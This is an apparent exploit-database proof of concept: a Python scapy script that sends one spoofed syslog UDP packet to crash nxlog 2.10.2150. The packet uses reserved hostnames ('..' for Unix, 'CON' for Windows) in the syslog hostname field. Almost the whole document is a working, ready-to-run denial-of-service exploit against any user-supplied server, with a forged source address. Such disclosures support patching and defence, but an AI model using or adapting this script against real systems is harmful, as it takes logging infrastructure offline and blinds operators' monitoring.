# Exploit Title: nxlog 2.10.2150 - DoS (Poc) # Date: 15/12/2020 # Exploit Author: Guillaume PETIT # Vendor Homepage: https://nxlog.co # Software Link: https://nxlog.co/products/nxlog-community-edition/download # Version: 2.10.2150 # Tested on: Linux Debian 10 && Windows Server 2019 #!/usr/bin/python3 import sys import time import argparse from scapy.all import * def getPayload(args): # IF UNIX if (args.OS == 1): return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden" # IF WINDOWS elif (args.OS == 2): return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden" # Test elif (args.OS == 3): return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden" def runExploit(args,payload): priority = 30 message = payload syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message) send(syslog,verbose=args.DEBUG) def getArguments(): parser = argparse.ArgumentParser(description="Go h@ck SYSLOG") parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server") parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514") parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test") parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable") return parser.parse_args() def main(): args = getArguments() payload = getPayload(args) runExploit(args,payload) main()